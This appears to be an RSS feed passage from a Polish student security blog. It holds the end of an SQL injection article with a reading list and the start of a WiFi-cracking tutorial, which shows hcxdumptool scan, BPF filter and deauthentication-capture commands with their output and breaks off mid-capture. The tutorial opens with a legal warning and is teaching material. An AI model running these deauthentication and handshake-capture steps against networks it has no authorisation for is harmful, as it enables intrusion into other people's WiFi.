&lt;/svg>&lt;/a> oraz pilnować, aby błędy bazy nie były widoczne na stronie. Na szczęście współczesne &lt;a href="https://intelegain-technologies.medium.com/what-are-web-frameworks-and-why-you-need-them-c4e8806bd0fb"target="_blank" rel="noopener">frameworki&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a> służące do tworzenia &lt;a href="https://www.geeksforgeeks.org/frontend-vs-backend/"target="_blank" rel="noopener">zaplecza&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a> aplikacji webowych, takie jak &lt;a href="https://docs.djangoproject.com/en/5.1/topics/security/#sql-injection-protection"target="_blank" rel="noopener">Django&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>, mają wbudowane zabezpieczenia przed SQL injection. Należy pilnować, aby wersja tego oprogramowania była jak najbardziej aktualna na wypadek, gdyby komuś udało się obejść te zabezpieczenia w jego starszej wersji.&lt;/p>
&lt;h2>Materiały&lt;span class="hx:absolute hx:-mt-20" id="materiały">&lt;/span>
&lt;a href="#materia%c5%82y" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>Strony, którymi się wspierałem i inne pomocne linki:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://portswigger.net/web-security/sql-injection"target="_blank" rel="noopener">PortSwigger Web Security Academy - SQL injection&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://portswigger.net/web-security/sql-injection/examining-the-database"target="_blank" rel="noopener">PortSwigger Web Security Academy - Examining the database in SQL injection attacks&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://portswigger.net/web-security/sql-injection/cheat-sheet"target="_blank" rel="noopener">PortSwigger Web Security Academy - SQL injection cheat sheet&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://sekurak.pl/czym-jest-sql-injection/"target="_blank" rel="noopener">sekurak - Czym jest SQL injection?&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://owasp.org/www-community/attacks/SQL_Injection"target="_blank" rel="noopener">OWASP - SQL Injection&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.youtube.com/watch?v=2OPVViV-GQk"target="_blank" rel="noopener">NetworkChuck - SQL Injections are scary!! (hacking tutorial for beginners)&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.w3schools.com/sql/"target="_blank" rel="noopener">W3Schools - SQL Tutorial&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/sqlmapproject/sqlmap/wiki"target="_blank" rel="noopener">sqlmap User&amp;rsquo;s manual&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.acunetix.com/websitesecurity/sql-injection2/"target="_blank" rel="noopener">Acunetix - Types of SQL Injection (SQLi)&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.crowdstrike.com/cybersecurity-101/sql-injection/"target="_blank" rel="noopener">CrowdStrike - SQL Injection (SQLi): How to Protect against SQL Injection Attacks&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://helion.pl/ksiazki/gray-hat-c-jezyk-c-w-kontroli-i-lamaniu-zabezpieczen-brandon-perry,greyha.htm#format/d"target="_blank" rel="noopener">Brandon Perry, &lt;em>Gray Hat C#. Język C# w kontroli i łamaniu zabezpieczeń&lt;/em>&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a> (rozdział 2)&lt;/li>
&lt;/ul></description></item><item><title>WiFi Hack'n &amp; Crack'n</title><link>https://whitehats.pwr.edu.pl/blog/2025-10-10-wifi-hackn-n-crackn/</link><pubDate>Fri, 10 Oct 2025 00:00:00 +0000</pubDate><guid>https://whitehats.pwr.edu.pl/blog/2025-10-10-wifi-hackn-n-crackn/</guid><description>
&lt;figure>&lt;img src="https://whitehats.pwr.edu.pl/blog/2025-10-10-wifi-hackn-n-crackn/background_hu_2c0dc2ae45220e49.webp" width="1280" height="720" fetchpriority="high">
&lt;/figure>
&lt;p>Ten artykuł jest przeznaczony dla wszystkich osób, które rozpoczynają swoją przygodę z
cyberbezpieczeństwem i chcą nauczyć się obsługi narzędzi do testowania zabezpieczeń sieci
bezprzewodowych WiFi (802.11).&lt;/p>
&lt;div class="hx:overflow-x-auto hx:mt-6 hx:flex hx:flex-col hx:rounded-lg hx:border hx:py-4 hx:px-4 hx:border-gray-200 hx:contrast-more:border-current hx:contrast-more:dark:border-current hx:border-amber-200 hx:bg-amber-100 hx:text-amber-900 hx:dark:border-amber-200/30 hx:dark:bg-amber-900/30 hx:dark:text-amber-200">
&lt;p class="hx:flex hx:items-center hx:font-medium">&lt;svg height=16px class="hx:inline-block hx:align-middle hx:mr-2" xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="2" stroke="currentColor" aria-hidden="true">&lt;path stroke-linecap="round" stroke-linejoin="round" d="M12 9v2m0 4h.01m-6.938 4h13.856c1.54 0 2.502-1.667 1.732-3L13.732 4c-.77-1.333-2.694-1.333-3.464 0L3.34 16c-.77 1.333.192 3 1.732 3z"/>&lt;/svg>Uwaga&lt;/p>
&lt;div class="hx:w-full hx:min-w-0 hx:leading-7">
&lt;div class="hx:mt-6 hx:leading-7 hx:first:mt-0">&lt;p>Hackowanie jakichkolwiek sieci bezprzewodowych bez odpowiedniej autoryzacji jest nielegalne
i może skutkować odpowiedzialnością karną. Urządzenia wykorzystane w poniższym artykule należą
wyłącznie do autora artykułu.&lt;/p>
&lt;p>Nielegalne jest używanie technik tutaj opisanych do:&lt;/p>
&lt;ul>
&lt;li>podsłuchiwania ruchu sieciowego sąsiada&lt;/li>
&lt;li>prowadzenia nielegalnej działalności gospodarczej&lt;/li>
&lt;li>niepłacenia abonamentu internetowego&lt;/li>
&lt;li>wszelkich podobnych zabaw&lt;/li>
&lt;/ul>&lt;/div>
&lt;/div>
&lt;/div>
&lt;h3>0x0: Konfiguracja sprzętowa i narzędzia&lt;span class="hx:absolute hx:-mt-20" id="0x0-konfiguracja-sprzętowa-i-narzędzia">&lt;/span>
&lt;a href="#0x0-konfiguracja-sprz%c4%99towa-i-narz%c4%99dzia" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h3>&lt;p>Zanim zaczniemy temat, warto ustalić, jaki hardware będzie Ci potrzebny do przeprowadzenia
podanych dalej ataków. Niektóre wbudowane karty sieciowe w laptopach i płytach głównych mogą
zadziałać, ale rekomendowane są karty sieciowe:&lt;/p>
&lt;ul>
&lt;li>Atheros (ath9k_htc) na starym chipsecie&lt;/li>
&lt;li>Ralink (rt2800usb) na starym chipsecie&lt;/li>
&lt;li>MediaTek (mt76), zależnie od urządzenia oraz kernela&lt;/li>
&lt;li>Realtek (rtl8xxxu), zależnie od urządzenia oraz kernela&lt;/li>
&lt;/ul>
&lt;p>Po podłączeniu karty sieciowej do urządzenia z Linuxem, należy przede wszystkim upewnić się,
że demony systemowe nie będą nam ingerowały w zachowanie karty sieciowej. W przypadku systemu
z NetworkManagerem wymagana jest jedynie komenda &lt;code>nmcli dev set wlan1 managed no&lt;/code>
(interfejs &lt;code>wlan1&lt;/code> zastąpić odpowiednim interfejsem; można go zidentyfikować za pomocą komendy &lt;code>iw dev&lt;/code>).&lt;/p>
&lt;p>Do naszych badań będziemy korzystać z Wiresharka oraz suite&amp;rsquo;a narzędzi hcxtools, które są
nowszymi, lepiej utrzymanymi odpowiednikami narzędzi ze znanego airmon-a.&lt;/p>
&lt;h3>0x1: Identyfikujemy cel&lt;span class="hx:absolute hx:-mt-20" id="0x1-identyfikujemy-cel">&lt;/span>
&lt;a href="#0x1-identyfikujemy-cel" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h3>&lt;p>Narzędzie &lt;code>hcxdumptool&lt;/code> daje nam w zasadzie dwie możliwości identyfikowania sieci bezprzewodowych.&lt;/p>
&lt;p>Pierwszym typem skanu jest skan pasywny (&lt;code>--rcascan=passive&lt;/code>), który skacze po wszystkich
dostępnych na karcie sieciowej kanałach co sekundę i identyfikuje ESSID sieci na podstawie
broadcastowanych beaconów. Za pomocą takiego skanu, nasze urządzenie nie wysyła żadnych pakietów,
więc skan nie jest nawet w najmniejszej ilości intruzywny. Flaga &lt;code>-i&lt;/code> odpowiada naszemu
interfejsowi sieciowemu, a flaga &lt;code>-F&lt;/code> oznacza, że chcemy żeby &lt;code>hcxdumptool&lt;/code> skakał po wszystkich pasmach i kanałach co sekundę.&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">$ sudo hcxdumptool -i wlan1 -F --rcascan&lt;span class="o">=&lt;/span>passive
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">CHA FREQ BEACON RESPONSE S MAC-AP ESSID SCAN-FREQUENCY: &lt;span class="m">5220&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">--------------------------------------------------------------------------
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="m">1&lt;/span> &lt;span class="m">2412&lt;/span> 20:54:13 20:54:13 + 98ded07ade8b TP-LINK_DE8B &lt;span class="o">[&lt;/span>88&lt;span class="o">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">^C
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="m">170&lt;/span> Packet&lt;span class="o">(&lt;/span>s&lt;span class="o">)&lt;/span> captured by kernel
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="m">0&lt;/span> Packet&lt;span class="o">(&lt;/span>s&lt;span class="o">)&lt;/span> dropped by kernel
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="m">88&lt;/span> PROBERESPONSE&lt;span class="o">(&lt;/span>s&lt;span class="o">)&lt;/span> captured
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">exit&lt;/span> on sigterm&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>Jak za to widać, skan pasywny nie jest najlepszy w identyfikowaniu wszystkich dostępnych sieci.
Możliwe, że podczas hopsasania po częstotliwościach &lt;code>hcxdumptool&lt;/code> po prostu nie będzie na
dobrym paśmie i kanale we właściwym czasie, i ominie broadcast routera, co skutkuje
brakiem ESSID na liście w narzędziu.&lt;/p>
&lt;p>Drugim typem skanu, który umożliwia lepszą identyfikację sieci, jest skan aktywny
&lt;code>--rcascan=active&lt;/code>. Podczas skanu aktywnego &lt;code>hcxdumptool&lt;/code> także skacze po wszystkich
częstotliwościach dostępnych na naszej karcie sieciowej, ale wysyła tzw. Broadcast
Probe Requesty, które są zapytaniem klienta o dostępne sieci w zasięgu. Wysyłanie
takich requestów jest najnormalniejszą częścią odkrywania i łączenia się z sieciami
bezprzewodowymi i są one wysyłane przez każde &amp;ldquo;normalne&amp;rdquo; urządzenie, więc skan tego
typu możemy bezpiecznie przeprowadzić nie wymagając żadnej autoryzacji.&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">sudo hcxdumptool -i wlan1 -F --rcascan&lt;span class="o">=&lt;/span>active
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">CHA FREQ BEACON RESPONSE S MAC-AP ESSID SCAN-FREQUENCY: &lt;span class="m">2484&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">--------------------------------------------------------------------------
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="m">11&lt;/span> &lt;span class="m">2462&lt;/span> 20:48:19 + 7bc3de45f944 &lt;span class="o">[&lt;/span>0&lt;span class="o">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="m">8&lt;/span> &lt;span class="m">2447&lt;/span> 20:48:17 + 54781ca301dd Zyxel_1234 &lt;span class="o">[&lt;/span>0&lt;span class="o">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="m">2&lt;/span> &lt;span class="m">2417&lt;/span> 20:48:15 + 52ff20370bd2 &lt;span class="o">[&lt;/span>0&lt;span class="o">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="m">2&lt;/span> &lt;span class="m">2417&lt;/span> 20:48:15 + 502f203701d2 nieinterere &lt;span class="o">[&lt;/span>0&lt;span class="o">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="m">52&lt;/span> &lt;span class="m">5260&lt;/span> 20:48:06 + 8d9ebc0fcd9e &lt;span class="o">[&lt;/span>0&lt;span class="o">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="m">52&lt;/span> &lt;span class="m">5260&lt;/span> 20:48:06 + 73d7d4630059 Zyxel_1234 &lt;span class="o">[&lt;/span>0&lt;span class="o">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="m">40&lt;/span> &lt;span class="m">5200&lt;/span> 20:48:05 + c4ada6d9399d internet &lt;span class="o">[&lt;/span>0&lt;span class="o">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="m">40&lt;/span> &lt;span class="m">5200&lt;/span> 20:48:05 + 6d18b50fdeb4 &lt;span class="o">[&lt;/span>0&lt;span class="o">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="m">40&lt;/span> &lt;span class="m">5200&lt;/span> 20:48:05 + 0b11e771b09f &lt;span class="o">[&lt;/span>0&lt;span class="o">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="m">8&lt;/span> &lt;span class="m">2447&lt;/span> 20:48:02 + ad8382c0b253 NieTwojeWifi-4321 &lt;span class="o">[&lt;/span>0&lt;span class="o">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="m">1&lt;/span> &lt;span class="m">2412&lt;/span> 20:54:13 + 98ded07ade8b TP-LINK_DE8B &lt;span class="o">[&lt;/span>0&lt;span class="o">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">^C
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="m">2780&lt;/span> Packet&lt;span class="o">(&lt;/span>s&lt;span class="o">)&lt;/span> captured by kernel
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="m">0&lt;/span> Packet&lt;span class="o">(&lt;/span>s&lt;span class="o">)&lt;/span> dropped by kernel
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">exit&lt;/span> on sigterm&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>Jak widać, skan aktywny jest w stanie zidentyfikować znacznie większą liczbę sieci
bezprzewodowych, i jako że skany tego typu są dosyć standardowe, to można je bezpiecznie
przeprowadzać.&lt;/p>
&lt;h3>0x2: Cel namierzony&lt;span class="hx:absolute hx:-mt-20" id="0x2-cel-namierzony">&lt;/span>
&lt;a href="#0x2-cel-namierzony" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h3>&lt;div class="hx:overflow-x-auto hx:mt-6 hx:flex hx:flex-col hx:rounded-lg hx:border hx:py-4 hx:px-4 hx:border-gray-200 hx:contrast-more:border-current hx:contrast-more:dark:border-current hx:border-blue-200 hx:bg-blue-100 hx:text-blue-900 hx:dark:border-blue-200/30 hx:dark:bg-blue-900/30 hx:dark:text-blue-200">
&lt;p class="hx:flex hx:items-center hx:font-medium">&lt;svg height=16px class="hx:inline-block hx:align-middle hx:mr-2" xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="2" stroke="currentColor" aria-hidden="true">&lt;path stroke-linecap="round" stroke-linejoin="round" d="M13 16h-1v-4h-1m1-4h.01M21 12a9 9 0 11-18 0 9 9 0 0118 0z"/>&lt;/svg>Filtrowanie pakietów sieciowych&lt;/p>
&lt;div class="hx:w-full hx:min-w-0 hx:leading-7">
&lt;div class="hx:mt-6 hx:leading-7 hx:first:mt-0">&lt;p>Wymagana jest uprzednia autoryzacja właściciela access pointu oraz poprawne stosowanie
filtrów BPF przed kontynuowaniem replikowania ataków w tej sekcji. Bez poprawnego filtrowania,
narzędzie &lt;code>hcxdumptool&lt;/code> może atakować sieci od których nie mamy autoryzacji właścicieli.
Ataki te są bardzo oczywiste dla kogokolwiek monitorującego daną częstotliwość,
a nawet dla urządzeń końcowych użytkowników.&lt;/p>&lt;/div>
&lt;/div>
&lt;/div>
&lt;p>Urządzeniez którym jesteśmy zainteresowani, jest routerem firmy TP-Link o ESSID &amp;ldquo;&lt;code>TP-LINK_DE8B&lt;/code>&amp;rdquo;
i BSSID &amp;ldquo;&lt;code>98ded07ade8b&lt;/code>&amp;rdquo;, i jest na paśmie 2.4 GHz na kanale 1. Skoro mamy już namierzone
dane routera, musimy poprawnie skonfigurować &lt;code>hcxdumptool&lt;/code>a, żeby przypadkiem nie
interferować z innymi sieciami.&lt;/p>
&lt;p>Nasze narzędzie obsługuje tzw. BPF, czyli Berkeley Packet Filter, który umożliwia filtrowanie
pakietów sieciowych na systemach z systemem Linux. Za pomocą tego mechanizmu możemy
skompilować filtr po BSSID naszego routera. Wtedy &lt;code>hcxdumptool&lt;/code> nie będzie dostawał
nawet pakietów od innych routerów. Polecam poniższy filtr, jako że przepuszcza on tylko te
pakiety, które są wymagane do przeprowadzenia wszystkich trzech typów ataków, które
&lt;code>hcxdumptool&lt;/code> obsługuje.&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;pre>&lt;code>$ hcxdumptool --bpfc=&amp;#34;wlan addr3 98ded07ade8b || (wlan type mgt &amp;amp;&amp;amp; subtype probe-req)&amp;#34; &amp;gt; tplink.bpf&lt;/code>&lt;/pre>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>Skompilowany w ten sposób filtr możemy załadować do dowolnej komendy &lt;code>hcxdumptool&lt;/code> za
pomocą flagi &lt;code>--bpf=tplink.bpf&lt;/code>.&lt;/p>
&lt;h3>0x3: Atakujemy access point&lt;span class="hx:absolute hx:-mt-20" id="0x3-atakujemy-access-point">&lt;/span>
&lt;a href="#0x3-atakujemy-access-point" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h3>&lt;p>Narzędzie &lt;code>hxdumptool&lt;/code> wymaga nagrania sesji uwierzytelnienia urządzenia klienckiego z
routerem celem wygenerowania hasha hasła. Jako że w większości przypadków urządzenie klienckie będzie już
uwierzytelnione, to w jakiś sposób trzeba je rozłączyć. Narzędzie postara się to
spowodować, podszywając się pod urządzenie klienckie i wysyłając ramkę &lt;code>DEAUTHENTICATE&lt;/code>.
Ramka ta spowoduje nagłe rozłączenie urządzenia klienckiego, które naturalnie postara
się natychmiast odzyskać połączenie, wykonując ponowne uwierzytelnienie z access pointem.&lt;/p>
&lt;p>Do komendy wykorzystujemy nasz uprzednio skompilowany filtr BPF, który przekazujemy za
pomocą flagi &amp;ldquo;&lt;code>--bpf&lt;/code>&amp;rdquo;, przekazujemy też kanał, na którym znajduje się nasz access point
&lt;code>-c&lt;/code>, oraz zapisujemy cały traffic na naszym interfejsie sieciowym do pliku za pomocą
&lt;code>-w tplink.pcapng&lt;/code>.&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">$ sudo hcxdumptool -i wlan1 -c 5a --bpf&lt;span class="o">=&lt;/span>tplink.bpf -w tplink.pcapng
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">CHA LAST R &lt;span class="m">1&lt;/span> &lt;span class="m">3&lt;/span> P S MAC-AP ESSID &lt;span class="o">(&lt;/span>last seen on top&lt;span class="o">)&lt;/span> SCAN-FREQUENCY: &lt;span class="m">2412&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">-----------------------------------------------------------------------------------------
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="m">1&lt;/span> 21:46:26 + + + + 98ded07ade8b TP-LINK_DE8B
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> LAST E &lt;span class="m">2&lt;/span> MAC-AP-ROGUE MAC-CLIENT ESSID &lt;span class="o">(&lt;/span>last seen on top&lt;span class="o">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">-----------------------------------------------------------------------------------------
